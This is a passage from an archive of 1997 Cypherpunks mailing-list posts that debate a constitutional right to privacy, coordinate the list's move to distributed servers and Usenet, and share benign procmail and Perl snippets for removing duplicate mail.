>_I_ had, but rather spelled out fairly precisely what the _government_ was
>allowed to do.
>
>	In otherwords, the Constitution does not restrict _me_ rather it
>restricts the _feds_ (and the Feds alone).
>
>	My rights are WHATEVER ISN'T IN THE CONSTITUTION, and the government
>can only, ONLY do what the constitution says it can.
>
>	???

But why do you not object that the "right to free speech," "the right to
keep and bear arms," and so on, are specifically enumeratedin the Bill of
Rights? The privacy issue is that there is no such enumeration of a right
to privacy in the Bill of Rights, though many think it to be implicit in
some of the other enumerated rights, e.g,, the Fourth, and even in the
First.

Constitutional issues are not easily discussed in short messages like this.
Suffice it to say the issue of whether a "right to privacy" exists has been
long discussed, most recently by Bork, Posner, and others (I skimmed the
latest Posner book a while back, and liked his style).

The issue hit when abortion advocates argued that a "woman's right to
privacy" allowed abortions. However, none of the enumerated rights made
this obvious. Bork has opined that no right to privacy can be inferred from
the Constitution.

(And I always thought the "woman's right to privacy" argument for abortion
was flaky. Accepting such an argument, wouldn't infanticide be equally
protected by a woman's right to privacy?)

--Tim May



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Mon, 17 Feb 1997 12:56:25 -0800 (PST)
To: cypherpunks <wcampbel@peganet.com>
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702172056.MAA13535@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 17 Feb 1997, Bill Campbell wrote:

> However, I'm very confused on just what to do at this
> point, my news server doesn't see alt.cypherpunks
> yet and if it did would probably lose about 75% of
> the posts if past performance is to be any indicator.
> (Or more accurately, would never get them, we seem
> to be a bottom feeder here in South Florida as far
> as the newsgroups go.)
> 
> Has anyone composed a concise summary of just
> what the options are? Time is running out, I guess.

Here's my understanding of the situation:

 - Newsgroups alt.cypherpunks, alt.cypherpunks.announce,
	alt.cypherpunks.social, alt.cypherpunks.technical have been created.

 - The distributed list is still forming and so far consists of
	cypherpunks@algebra.com, cypherpunks@ssz.com, and others of which I
	do not know the location.  A mail<->news gateway is planned, but not
	yet in place, between the distributed list and the newsgroup(s).
	cypherpunks@algebra.com is receiving messages from
	cypherpunks-unedited.  I assume this means that the other hosts part
	of the distributed list are also receiving cypherpunks-unedited
	messages.

 - Lance Cottrell is running another list (cypherpunks@cyberpass.net) that is
	not yet part of the distributed list.  It is also receiving feed from
	toad.com.

If you don't want to miss any messages, then you should subscribe to both
cypherpunks@cyberpass.net and one of the distributed list nodes.  Since both
are receiving cypherpunks-unedited, you can safely unsubscribe from
cypherpunks-unedited, -flames, or the "main" list.  Since these lists have
overlapping content, you should delete duplicates.


Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Mon, 17 Feb 1997 12:56:36 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: The Science Generations, II
Message-ID: <199702172056.MAA13556@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mr. May wrote:
> Some legal scholars are claiming that there is no provision in the
> Constitution guaranteeing anonymity of purchases, and, indeed, a growing
> number of purchases can no longer be anonymous--guns, explosives, chemicals
> of various sorts, etc. How long before _all_ transactions must be recorded,
> True Names revealed, etc.?

	This is where I often get a little confused.

	Correct me if I am wrong, but it was my understanding that the
constitutuion was _not_ a document that explicitly spelled out what writes 
_I_ had, but rather spelled out fairly precisely what the _government_ was 
allowed to do.

	In otherwords, the Constitution does not restrict _me_ rather it 
restricts the _feds_ (and the Feds alone).

	My rights are WHATEVER ISN'T IN THE CONSTITUTION, and the government
can only, ONLY do what the constitution says it can.

	???







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 17 Feb 1997 12:56:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: WTO_tap
Message-ID: <199702172056.MAA13516@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Three newspapers have pieces today on the new WTO
telecom agreement. A Page 1 NYP report examines the
administration's favoring of the once-moribund WTO over 
the UN as a principal means for "exporting US free-market 
values through global commercial agreements."

The telecom agreement, for the first time, allows the WTO
to go inside the signatory countries and check compliance, and
if warranted, impose sanctions, a role once reserved to the UN.

While encryption is not mentioned, it's worth watching the
WTO globally unite its privacy-invasive predecessors: the 
national tele-tappers. The spin is that now all governments can 
have access to the global (wiretap) network under guise of
enhanced commercial competition. (And that's why Commerce was 
given EI for CCL.)

-----

WTO_tap

----------

For related background, there's informative discussion on the 
encryption switchover from State to Commerce in the Defense 
Trade News, archived at the Dept of State Web site.

We've put the five issues in which the shift of encryption 
items from the USML to the CCL is formulated by the Technical
Working Group at:

  January/April 1993:     http://jya.com/dtn0193.htm  (76K)
  January 1994:           http://jya.com/dtn0194.htm  (99K)
  April 1994:             http://jya.com/dtn0494.htm  (66K)
  July/October, 1994:     http://jya.com/dtn0794.htm  (67K)
  October 1995:           http://jya.com/dtn1095.htm  (35K)







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Mon, 17 Feb 1997 13:29:16 -0800 (PST)
To: aaron@herringn.com
Subject: Re: Cypherpunks afraid of spam?
Message-ID: <199702172129.NAA14193@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 14 Feb 1997 aaron@herringn.com wrote:

> [Fairly prominent Cypherpunk I'll decline to name- I don't mean to ridicule
> him personally, just his (distressingly common) attitude]

Hey, I can take the heat.  But I'm afraid you missed my perhaps too-terse
point.

> >Just for the record.  I will not post to USENET given the spamming that
> >seems to go to IDs that appear there.
> 
> [chuckle]
> 
> Just add an anti-spam segment to your email address.
> 
> example:
> 
> jsmith[at]foo.com
> 

It's not that simple.  Consider:

1) I stopped learning more about new computer tools than the minimum
needed to do my work a long time ago, when I stopped programming and
started lawyering.  It wasn't an efficient use of my time.

2) Our system here has ONE email system: PINE.  It defaults my "from"
address.  There is no obvious way to override it.  I may have the
necessary tools and permissions, I may not; I don't feel like taking
whatever time it takes to figure it out.  We use PINE for usenet and
email, using the same config file.  There are other usenet tools here,
like tin, but I would have to learn them.  Again, I have no idea if I have
the permissions/tools/knowledge to alter my headers.  I am certain that I
could hack it with time enough and motivation enough.  I have neither.

3) I do other things besides talk to you with this tool.  I communicate
with students, family and others.  I want them to get my real headers.  I
don't want an elaborate switching mechanims every time I change the person
I'm speaking to.

> Most people worth talking to have enough of a clue to replace [at] with @.
> 
> if your software requires an apparently valid email address, try
> 
> jsmith@NOSPAM.foo.com
> 
> I put a spam-busted address in my .sig and give root@127.0.0.1 as my email
> in the from: header. Sure, somebody out there is going to be unhappy with
> me, but if they have a clue they'll figure it out. Meantime, the SpamBots
> are bouncing mail to the admin of the site instead of to me.
> 
> That may not be enough if you're already in the spamming lists. Try
> using 'positive' filtering- instead of filtering to eliminate unwanted
> mail, filter email from regular correspondents into a 'approved'
> directory, and leave the rest in the inbox to pick through later.
> 
> It seems very strange that the denziens of this list, reputed to be gutsy
> enough to take on the FBI, NSA, CIA, and White House, would be scared
> away from a discussion forum (Usenet) by uninvited email.
> 
> We'd better hope they never figure out Cypherpunks, Guardians of
> Privacy and Defenders of Free Speech, are afraid of spam.
> 
> (And supposedly the 'Moderation experiment' is over, so this won't get
> kicked onto the -flames list, although it's more ridicule than flame...)
> 
> 
> 
> 

==
The above may have been dictated via Dragon Dictate 2.52 voice
recognition. Please be alert for unintentional word substitutions. 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: drose@AZStarNet.com
Date: Mon, 17 Feb 1997 17:41:57 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: The Science Generations, II
Message-ID: <199702180141.RAA19137@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


With regard to chemicals, may I suggest a perusal of the PGI and PML lists
(respectively, Pyrotechnics Guild Inc. and Pyrotechnics Mailing List)? These
are good resources; just about anything you might want is available.
However, they are serious; the KeWl BoMb stuff is on USENET (attn: C'Punk
Newsgroup folks-thanx Dimi--there *is* a difference).

Yea, (as D. Thorn might babble, if I understand the shards of his stuff
quoted in the posts of those who should know better) when I was a young
fellow, the guy at the local chemical supply co. asked my mom, "Lady, do you
have any idea what metallic sodium and red fuming nitric acid and Willy
Ley-strength Hydrogen Peroxide are all about?"

Me, personally? I'm glad to have traded the availability of interesting
reagents for the "Oppa-tune-itee" of having freedom and justice. (Although
nobody "axed" my opinion prior to there having been a reversal in the thrust
of gummint regulations.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Mon, 17 Feb 1997 17:44:32 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: The Science Generations, II
Message-ID: <199702180144.RAA19233@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

snow <snow@smoke.suba.com> writes:
> Mr. May wrote:
> > Some legal scholars are claiming that there is no provision in the
> > Constitution guaranteeing anonymity of purchases, and, indeed, a growing
> > number of purchases can no longer be anonymous--guns, explosives, chemicals
> > of various sorts, etc. How long before _all_ transactions must be recorded,
> > True Names revealed, etc.?
> 
>         This is where I often get a little confused.
> 
>         Correct me if I am wrong, but it was my understanding that the
> constitutuion was _not_ a document that explicitly spelled out what writes 
> _I_ had, but rather spelled out fairly precisely what the _government_ was 
> allowed to do.
> 
>         In otherwords, the Constitution does not restrict _me_ rather it 
> restricts the _feds_ (and the Feds alone).

You neglect things like the interstate commerce provision, which means
that if it crosses state lines, the feds can regualte it. In addition,
the court (in its infinite wisdom), decided that "the people" meant
the states, then the people. So, as long as it isn't meantioned in the
constitution, the states can do whatever they want.

Welcome to America, please stay in line.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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Version: 2.6.2

iQB1AwUBMwjGzskz/YzIV3P5AQGKbAL+OA3vfIyutiHrnKXRaydKz0R9hhIinVV3
sSjacpA7MNDxH+bCQhDwqx2WRT89JjKK64nTw+4YF05h3pzl1IV3TD1WNDkt8UIe
5m8Y0LY1v2M5+dGq0ifpKicV8IUkvYar
=UsSo
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 19 Feb 1997 09:28:32 -0800 (PST)
To: Bill Campbell <wcampbel@peganet.com>
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702191728.JAA27131@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



 
> However, I'm very confused on just what to do at this
> point, my news server doesn't see alt.cypherpunks
> yet and if it did would probably lose about 75% of
> the posts if past performance is to be any indicator.
> (Or more accurately, would never get them, we seem
> to be a bottom feeder here in South Florida as far
> as the newsgroups go.)

try pubnews.demon.co.uk, its a public server open to everyone and his 
dog, recognises all newsgroups, doesn`t accept rmgroups and is quite 
fast (quickest line between UK and USA, 100mbit/sec as I remember). 

Alternatively there is always dejanews.com 


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 17 Feb 1997 17:41:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: PDAs as alternatives to smart cards?
Message-ID: <199702180141.RAA19121@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


With the widespread adoption of an industry standard IR link between PDA
type devices, networks and PCs might this not present an opportunity for
their use as more user-configurable and application agile financial and
communiation privacy instruments?  I'm especially thinking along the lines
of their use for ecash transactions in conjunction with smart card-type
merchant terminals sporting an inexpensive IR link to the customer's PDA.

If disk protection programs (e.g., DiskCrypt/PGPDisk) were extended to PDAs
ight that not enable them for a whole host of personal applications?

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 17 Feb 1997 19:30:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Constitution and a Right to Privacy
Message-ID: <199702180330.TAA21698@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> >> Some legal scholars are claiming that there is no provision in the
> >> Constitution guaranteeing anonymity of purchases, and, indeed, a growing
> >> number of purchases can no longer be anonymous--guns, explosives, chemicals
> >> of various sorts, etc. How long before _all_ transactions must be recorded,
> >> True Names revealed, etc.?
[snip]
> The issue hit when abortion advocates argued that a "woman's right to
> privacy" allowed abortions. However, none of the enumerated rights made
> this obvious. Bork has opined that no right to privacy can be inferred from
> the Constitution. (And I always thought the "woman's right to privacy"
> argument for abortion was flaky. Accepting such an argument, wouldn't
> infanticide be equally protected by a woman's right to privacy?)

A perfect invitation for rational argument.  You obviously refer to
the privacy/right to destroy your own personal property, which you
pretty much have in the U.S., Constitution or no.  So the issue
above is whether the unborn baby is personal property (in the sense
that I can chop off my hair or even my ear if I want to), or the
child is personal property.  The child issue has been settled
effectively for many years now, but the controversy remains on the
unborn.

At least some of this privacy discussion would be better presented
from another angle - how deep would the feds want to probe into the
common folks' lives, what techniques would be employed, how would
the serious folks get around those things, and where would the
greatest (and most serious) amount of actions converge to flare up
in the public consciousness (media, internet, etc.)?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 17 Feb 1997 17:45:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: Telecom Frequently Asked Questions File - 1997 Edition [fwd]
Message-ID: <199702180145.RAA19302@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


  From: David Leibold <djcl@interlog.com>
  To: Telecom Digest <ptownson@massis.lcs.mit.edu>
  Subject: Telecom Digest FAQ - revised edition

TELECOM Digest - Frequently Asked Questions - v.8           8 February 1997

* Frequency of Updates: approximately annual (special updates are possible)

* FAQ contributions to: Telecom.FAQ@superctl.tor250.org
                        or, dleibold@else.net
                        or, aa070@freenet.toronto.on.ca

Introduction...

This is a list of frequently asked questions made in the TELECOM Digest.
New versions of the list are occasionally made available to deal with new,
corrected or updated questions. Many contributors have made the FAQ what
it is today (those listed in the "Who contributed to this FAQ?" question
are hereby thanked).

Check the Archives...

Much of the telecom information that is requested can be found in the
TELECOM Digest Home Page, via WWW at:

         http://hyperarchive.lcs.mit.edu/telecom-archives

This web page should have links to this FAQ file, as well as various
informational files on telecom subjects and the Digest itself. The
Archives for TELECOM Digest should also be available via the Home Page.

The TELECOM Digest Archives are also available through anonymous FTP at
massis.lcs.mit.edu (login as anonymous, mail address for password, cd to
telecom-archives). If possible, try to access the information via the
TELECOM Digest Home Page first. You can also access the Archives using
anonymous ftp at the mirror site: ftp.epix.net/pub/telecom-archives.

Also, there is an email <--> ftp service operating called the Telecom
Archives Email Information Service. Anything in the archives can be
obtained automatically by email. Send mail addressed to:

              tel-archives@massis.lcs.mit.edu

The subject does not matter. Include no text, sending just a blank
letter. You will get a help file by return mail and should use that
as a guide to ordering stuff by email from the archives.

A list of terms commonly used in TELECOM Digest is contained in a
"Glossary" section on the Home Page or in the Archives.

Try direct inquiries...

Direct netmail requests to persons posting on topics of interest to you may
also be helpful. In fact, doing things "behind the scenes" can be more
productive as the Digest Moderator is frequently swamped with other items.
Future editions of this list could include netmail addresses of contacts for
certain topics (say for ISDN, cellular, area codes/numbering plan, consumer
protection matters, etc.); offers to that end would be appreciated.

Where to contact the FAQ maintainer...

Suggestions for other common questions, or corrections or other amendments
to this file may be made to Telecom.FAQ@superctl.tor250.org (Fido
1:259/730) or dleibold@else.net or aa070@freenet.toronto.on.ca. Note that
any or all of these addresses are subject to change or discontinuance.

This file is updated approximately annually; special updates may be made as
time and circumstances permit.

Disclaimer Type Stuff...

All information herein should be considered subject to correction or
change. No endorsements or promotions of specific products or companies
are intended. Any specific references are made for example only, or in
order to adequately deal with certain subjects.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 17 Feb 1997 19:21:54 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Cypherpunks FAQ
Message-ID: <199702180321.TAA21415@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> ISP_Ratings wrote:
> >   Yes--and given the role Dr. Vulis has played in this matter
> > it would be most appropriate for him to write an FAQ (although
> > I personally ignore most FAQs).

>Perhaps it would be more appropriate for the good doctor to write a FUQs.

Why not do it like the Declaration of Independence?  A primary author
puts the basic document together, and other persons with expertise in
other important areas add to it, then it gets circulated on the list
for comments and suggestions.

"Other areas" not normally addressed in these kinds of documents
should include subscribers' awareness that the crypto lists are
a prime target of attention from federal agencies, et al, and
that much of the material posted could be pure disinformation.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 17 Feb 1997 17:44:19 -0800 (PST)
To: Bill Campbell <wcampbel@peganet.com>
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702180144.RAA19225@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Campbell wrote:
> 
> Everyone and his/her cousin has jumped into the void
> created when John Gilmore decided to pull the plug
> on toad.com.
> Has anyone composed a concise summary of just
> what the options are? 

  I have subscribed to Igor's cypherpunks@algebra.com.
  Jim Choate and Lance Cottrel (?) are participating with Igor and
others in maintaining continuity of the list, to my understanding.
  They all seem to be moving toward maintaining a distributed list
which will ensure both continuity and integrity. I would suggest 
joining one or the other list and then, once the 'dust' has 
settled, taking steps to verify that whatever list you are 
subscribed to is operating in such a way as to ensure that there
are no shenanigans going on in the background.
  I, for one, am content to give the new list distributors the 
benefit of the doubt if there are anomalies in the new system,
given the haste in which they must initiate a new distributed
mailing list system.
  On the other hand, they may all be godless communists, seeking
to twist our fragile minds to do their bidding. (Much like myself)

Toto







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Mon, 17 Feb 1997 19:21:02 -0800 (PST)
To: Raph Levien <raph@CS.Berkeley.EDU>
Subject: Re: List of reliable remailers
Message-ID: <199702180321.TAA21401@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Raph Levien wrote:
> 
> information about remailer features and reliability.
> 
>    To use it, just finger remailer-list@kiwi.cs.berkeley.edu
> 
>    There is also a Web version of the same information, plus lots of
> interesting links to remailer-related resources, at:
> http://www.cs.berkeley.edu/~raph/remailer-list.html
> 

Raph,

Would it be possible to use your testing program to test reliability of
cypherpunks mailing lists?

Thank you.

igor





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Barrett <apb@iafrica.com>
Date: Mon, 17 Feb 1997 09:41:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: suppressing duplicates based on MD5 of body
Message-ID: <199702171741.JAA10168@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


It's been more than 30 hours since I sent the first copy of this message
to cypherpunks@toad.com, and I still haven't seen it on either the
moderated or the flames lists @toad.com.  Suspecting that a particular
naughty word was to blame, I inserted some hyphens and resent the
message several hours later.  That too has failed to reach me on either
the moderated to the flames lists @toad.com.  I am now kmtkujatwv to
several other flavours of the list, and will be interested to see which
(if any) get *this* message, in which the naughty word is encrypted
using the well-known ROT-n algorithm, with a key that I will keep
secret.

Heres's a procmail recipe for suppressing duplicate messages based on
the MD5 of a "normalised" version of the body of the messages.  Folk who
celcmbslo to more than one of the cypherpunks lists may find it useful.

:0
* (Sender: |Return-Path: |Received:.*for.*)(owner-)?cypherpunks
{

    # Detect duplicate messages based on MD5 of normalised body
    :0:.md5.lock
    * B ?? ? (m=`$HOME/bin/normalise-body | md5`; \
	echo "Message-ID: <$m@MD5>" \
	| formail -D 8192 .body-md5.cypherpunks.cache )
    cypherpunks-duplicates

    :0:
    cypherpunks
}


The "* B ?? ?" means "send the body of the message as input to
the following command, and test the command's exit status".
$HOME/bin/normalise-body is a simple perl script (appended) that deletes
trailing blanks on all lines and then deletes leading and trailing blank
lines.

--apb (Alan Barrett)

# This is a shell archive.  Save it in a file, remove anything before
# this line, and then unpack it by entering "sh file".  Note, it may
# create directories; files and directories will be owned by you and
# have default permissions.
#
# This archive contains:
#
#	normalise-body
#
echo x - normalise-body
sed 's/^X//' >normalise-body << 'END-of-normalise-body'
X#!/usr/bin/perl
X
X# A very weak attempt at normalising the body of a mail message.
X# Removes trailing white space on all lines, and removes leading
X# and trailing blank lines.
X# Does not attempt to normalise any MIME content-transfer-encoding.
X
X$total_nonblank_lines = 0;
X$consecutive_blank_lines = 0;
Xwhile (<>) {
X    s/\s+$//;
X    if (/^$/) {
X	$consecutive_blank_lines++;
X    } else {
X	print "\n" x $consecutive_blank_lines if $total_nonblank_lines;
X	print $_;
X	$consecutive_blank_lines = 0;
X	$total_nonblank_lines++;
X    }
X}
END-of-normalise-body
exit





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Mon, 17 Feb 1997 19:23:36 -0800 (PST)
To: "Mark M." <markm@voicenet.com>
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702180323.TAA21509@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mark M. wrote:
>  - Newsgroups alt.cypherpunks, alt.cypherpunks.announce,
> 	alt.cypherpunks.social, alt.cypherpunks.technical have been created.

... Along with several others.

>  - The distributed list is still forming and so far consists of
> 	cypherpunks@algebra.com, cypherpunks@ssz.com, and others of which I
> 	do not know the location.  A mail<->news gateway is planned, but not
> 	yet in place, between the distributed list and the newsgroup(s).

It is in place. It feeds from cypherpunks@algebra.com. Bryan Reece 
reece@taz.nceye.net runs the posting bot. taz.nceye.net is an open
newsserver offering several cypherpunks newsgroups.

I am not yet sure if taz is now a part of the mainstream usenet, that 
is, it may not be connected to the Big USENET.

> 	cypherpunks@algebra.com is receiving messages from
> 	cypherpunks-unedited.  I assume this means that the other hosts part
> 	of the distributed list are also receiving cypherpunks-unedited
> 	messages.

Correct.
 
>  - Lance Cottrell is running another list (cypherpunks@cyberpass.net) that is
> 	not yet part of the distributed list.  It is also receiving feed from
> 	toad.com.

I will subscribe to it.

Now, it is important to realize that Lance's machine is probably much
better connected than mine. Once we get connected with him, you may be
better off reading cypherpunks from cypherpunks@cyberpass.net. If you
su-bsc-ribe to cypherpunks@algebra.com, it may take longer for articles
to reach you.

 
> If you don't want to miss any messages, then you should subscribe to both
> cypherpunks@cyberpass.net and one of the distributed list nodes.  Since both
> are receiving cypherpunks-unedited, you can safely unsubscribe from
> cypherpunks-unedited, -flames, or the "main" list.  Since these lists have
> overlapping content, you should delete duplicates.

I still think that it is a good idea to do nothing for several days and
wait until the distributed network picks up cyberpass. Then, subscribe
to any node of your liking.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Mon, 17 Feb 1997 19:22:18 -0800 (PST)
To: Bryan Reece <reece@taz.nceye.net>
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702180322.TAA21437@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bryan Reece wrote:
> 
>    It is in place. It feeds from cypherpunks@algebra.com. Bryan Reece 
>    reece@taz.nceye.net runs the posting bot. taz.nceye.net is an open
>    newsserver offering several cypherpunks newsgroups.
> 
>    I am not yet sure if taz is now a part of the mainstream usenet, that 
>    is, it may not be connected to the Big USENET.
> 
> It receives some Big Usenet groups, but only for local users.
> alt.cypherpunks is open, but there will be long delays, on the
> order of a day, for articles there (unless someone better connected to
> Usenet wants to feed me alt.cypherpunks.*---any volunteers?).
> 

I just set up a recipe for using mail2news gateways like this:

:0 c
| formail -I "Newsgroups: alt.cypherpunks,misc.misc" | 		\
	sendmail mail2news@anon.lcs.mit.edu mail2news@utopia.hacktic.nl

Any objections?

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Mon, 17 Feb 1997 19:22:42 -0800 (PST)
To: Bryan Reece <reece@taz.nceye.net>
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702180322.TAA21472@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bryan Reece wrote:
> 
> Igor Chudov writes:
>  > Bryan Reece wrote:
>  > > 
>  > >    It is in place. It feeds from cypherpunks@algebra.com. Bryan Reece 
>  > >    reece@taz.nceye.net runs the posting bot. taz.nceye.net is an open
>  > >    newsserver offering several cypherpunks newsgroups.
>  > > 
>  > >    I am not yet sure if taz is now a part of the mainstream usenet, that 
>  > >    is, it may not be connected to the Big USENET.
>  > > 
>  > > It receives some Big Usenet groups, but only for local users.
>  > > alt.cypherpunks is open, but there will be long delays, on the
>  > > order of a day, for articles there (unless someone better connected to
>  > > Usenet wants to feed me alt.cypherpunks.*---any volunteers?).
>  > > 
>  > 
>  > I just set up a recipe for using mail2news gateways like this:
>  > 
>  > :0 c
>  > | formail -I "Newsgroups: alt.cypherpunks,misc.misc" | 		\
>  > 	sendmail mail2news@anon.lcs.mit.edu mail2news@utopia.hacktic.nl
>  > 
>  > Any objections?
>  > 
>  > 	- Igor.
> 
> It would be more mailing-list-like to have the list in a separate,
> isolated hierarchy.  That would avoid the principal problems of Usenet
> (delays and email spam).

It is a very good objections. I would like readers to speak up and say
their word for or against forwarding the list messages to
alt.cypherpunks.  If a significant number of people objects (2-3 is
enough) I will disable this feature.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anil Das <das@razor.engr.sgi.com>
Date: Mon, 17 Feb 1997 21:11:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Message-Id / mail2news gateways.
Message-ID: <199702180511.VAA23620@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


This is for all the volunteers who are working on setting up the
distributed cypherpunks mailing lists.

1) Please preserver Message-Ids while resending messages. The
Message-Id is intended to be unique to a message and can be used
to reject duplicates. Usenet software in particular, detects
duplicates by Message-Id.

2) In response to Igor's query, I would very much like at least
on of the distributed lists to be set up such that messages sent
there will *not* be gatewayed to Usenet. As I mentioned, I will
not post to Usenet with my real email address, and if all lists
get gatewayed to alt.cypherpunks, I have to set up fake email
headers to mail to the lists also. If at least one of the
lists can gaurantee that it won't be gatewayed to Usenet, I
don't have to do that, and as a nice bonus, Prof. Froomkin
can continue to be active on cypherpunks.

This can be achieved by the list software adding an
"X-Post-to-Usenet: No" or some similar header to every
message it sends out. Also a header, such as X-List:
should be set to indicate under which mailing list a message
first entered the system. This will be worthless unless all
the list servers honor these headers.

Thanks.

--
Anil Das





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter J. Capelli" <pete@idaho.ubisg.com>
Date: Mon, 17 Feb 1997 19:22:31 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: The Science Generations, II
Message-ID: <199702180322.TAA21459@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


< snow writes >
> 	This is where I often get a little confused.
> 
> 	Correct me if I am wrong, but it was my understanding that the
> constitutuion was _not_ a document that explicitly spelled out what writes 
> _I_ had, but rather spelled out fairly precisely what the _government_ was 
> allowed to do.
> 
> 	In otherwords, the Constitution does not restrict _me_ rather it 
> restricts the _feds_ (and the Feds alone).
> 
> 	My rights are WHATEVER ISN'T IN THE CONSTITUTION, and the government
> can only, ONLY do what the constitution says it can.
> 
> 	???

	( non-US residents, tune out ... )

	This is the way it ( the constitution ) was written to work; however, 
the feds have found an interesting way around this.  Here, in two easy steps,
is their secret backdoor through the constitution:

	Step 1:	Take our money in federal taxes.

	Step 2:	Refuse to give it back to us unless we follow their guidelines.

	It's been done time and time again, "for our own good".  Witness the
country-wide drinking age of 21 ( if states don't enact it, they lose their
highway funds ), or the upcoming welfare "return" to the states.

	So, while the Federal government doesn't enact the legislation, they
have a big enough stick to force states and local govt. to bend to their
"suggestion".

	Sorry.

-pete

-- 
Pete Capelli, CNE	UB Networks, Inc.	pcapelli@ub.com
******	Finger pete@idaho.ubisg.com for my PGP Public key! ******
They that give up essential liberty to obtain a little temporary
safety deserve neither liberty nor safety. - Benjamin Franklin, 1759





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Mon, 17 Feb 1997 21:12:45 -0800 (PST)
To: jer+@andrew.cmu.edu>
Subject: Re: The Science Generations, II
Message-ID: <199702180512.VAA23681@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 17 Feb 1997, Jeremiah A Blatz wrote:

> You neglect things like the interstate commerce provision, which means
> that if it crosses state lines, the feds can regualte it. In addition,
> the court (in its infinite wisdom), decided that "the people" meant
> the states, then the people. So, as long as it isn't meantioned in the
> constitution, the states can do whatever they want.

The 10th amendment states:
